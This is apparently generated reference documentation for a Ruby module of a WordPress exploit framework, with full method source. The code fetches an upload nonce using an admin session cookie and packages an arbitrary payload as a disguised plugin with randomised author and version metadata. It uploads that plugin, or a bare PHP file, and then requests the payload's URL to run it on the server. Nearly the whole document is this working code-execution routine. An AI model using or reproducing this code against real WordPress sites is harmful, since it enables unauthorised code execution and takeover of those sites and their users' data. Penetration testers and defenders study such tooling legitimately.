module Wpxf::WordPress::Plugin
Provides functionality required to interact with the plugin system.
Public Instance Methods
Retrieve a valid nonce to use for plugin uploads. @param cookie [String] a valid admin session cookie. @return [String, nil] the nonce, nil on error.
# File lib/wpxf/wordpress/plugin.rb, line 8 def fetch_plugin_upload_nonce(cookie) res = execute_get_request(url: wordpress_url_plugin_upload, cookie: cookie) return nil unless res&.code == 200 res.body[/id="_wpnonce" name="_wpnonce" value="([a-z0-9]+)"/i, 1] end
Generate a valid WordPress
plugin header / base file. @param plugin_name [String] the name of the plugin. @return [String] a PHP script with the appropriate meta data.
# File lib/wpxf/wordpress/plugin.rb, line 60 def generate_wordpress_plugin_header(plugin_name) ['<?php', '/**', "* Plugin Name: #{plugin_name}", "* Version: #{_generate_wordpress_plugin_version}", "* Author: #{Wpxf::Utility::Text.rand_alpha(10)}", "* Author URI: http://#{Wpxf::Utility::Text.rand_alpha(10)}.com", '* License: GPL2', '*/', '?>'].join("\n") end
Create and upload a plugin that encapsulates the current payload. @param name [String] the name of the plugin. @param payload_name [String] the name the payload should use on the server. @param cookie [String] a valid admin session cookie. @return [Boolean] true on success, false on error.
# File lib/wpxf/wordpress/plugin.rb, line 19 def upload_payload_as_plugin(name, payload_name, cookie) nonce = fetch_plugin_upload_nonce(cookie) return false if nonce.nil? res = _upload_plugin(name, payload_name, cookie, nonce) res&.code == 200 && res.body !~ /plugin installation failed/i end
Upload and execute a payload as a plugin. @param plugin_name [String] the name of the plugin. @param payload_name [String] the name the payload should use on the server. @param cookie [String] a valid admin session cookie. @return [HttpResponse, nil] the {Wpxf::Net::HttpResponse} of the request.
# File lib/wpxf/wordpress/plugin.rb, line 44 def upload_payload_as_plugin_and_execute(plugin_name, payload_name, cookie) uploaded_as_plugin = upload_payload_as_plugin(plugin_name, payload_name, cookie) unless uploaded_as_plugin unless upload_payload_using_plugin_form(payload_name, cookie) emit_error 'Failed to upload the payload' return nil end end _execute_payload_uploaded_as_plugin(uploaded_as_plugin ? plugin_name : nil, payload_name) end
Upload the payload via the plugin form without packaging it in a ZIP file. @param payload_name [String] the name the payload should use on the server. @param cookie [String] a valid admin session cookie. @return [Boolean] true on success, false on error.
# File lib/wpxf/wordpress/plugin.rb, line 31 def upload_payload_using_plugin_form(payload_name, cookie) nonce = fetch_plugin_upload_nonce(cookie) return false if nonce.nil? res = _upload_plugin(nil, payload_name, cookie, nonce, false) res&.code == 200 end
Private Instance Methods
# File lib/wpxf/wordpress/plugin.rb, line 82 def _execute_payload_uploaded_as_plugin(plugin_name, payload_name) payload_url = _payload_url(plugin_name, payload_name) emit_info "Executing the payload at #{payload_url}..." res = execute_get_request(url: payload_url) has_body = res&.code == 200 && !res.body.strip.empty? emit_success "Result: #{res.body}" if has_body res end
# File lib/wpxf/wordpress/plugin.rb, line 92 def _generate_wordpress_plugin_version "#{Wpxf::Utility::Text.rand_numeric(1)}."\ "#{Wpxf::Utility::Text.rand_numeric(1)}."\ "#{Wpxf::Utility::Text.rand_numeric(2)}" end
# File lib/wpxf/wordpress/plugin.rb, line 74 def _payload_url(plugin_name, payload_name) if plugin_name.nil? normalize_uri(wordpress_url_uploads, Time.now.strftime('%Y'), Time.now.strftime('%m'), "#{payload_name}.php") else normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php") end end
A hash containing the file paths and contents for the ZIP file.
# File lib/wpxf/wordpress/plugin.rb, line 112 def _plugin_files(plugin_name, payload_name) plugin_script = generate_wordpress_plugin_header(plugin_name) { "#{plugin_name}/#{plugin_name}.php" => plugin_script, "#{plugin_name}/#{payload_name}.php" => payload.encoded } end
A {BodyBuilder} with the required fields to upload a plugin.
# File lib/wpxf/wordpress/plugin.rb, line 121 def _plugin_upload_builder(plugin_name, payload_name, nonce, create_zip = true) builder = Wpxf::Utility::BodyBuilder.new builder.add_field('_wpnonce', nonce) builder.add_field('_wp_http_referer', wordpress_url_plugin_upload) builder.add_field('install-plugin-submit', 'Install Now') if create_zip zip_fields = _plugin_files(plugin_name, payload_name) builder.add_zip_file('pluginzip', zip_fields, "#{plugin_name}.zip") else builder.add_file_from_string('pluginzip', payload.encoded, "#{payload_name}.php") end builder end
Build the body and return the response of the request.
# File lib/wpxf/wordpress/plugin.rb, line 99 def _upload_plugin(plugin_name, payload_name, cookie, nonce, create_zip = true) builder = _plugin_upload_builder(plugin_name, payload_name, nonce, create_zip) builder.create do |body| return execute_post_request( url: wordpress_url_admin_update, params: { 'action' => 'upload-plugin' }, body: body, cookie: cookie ) end end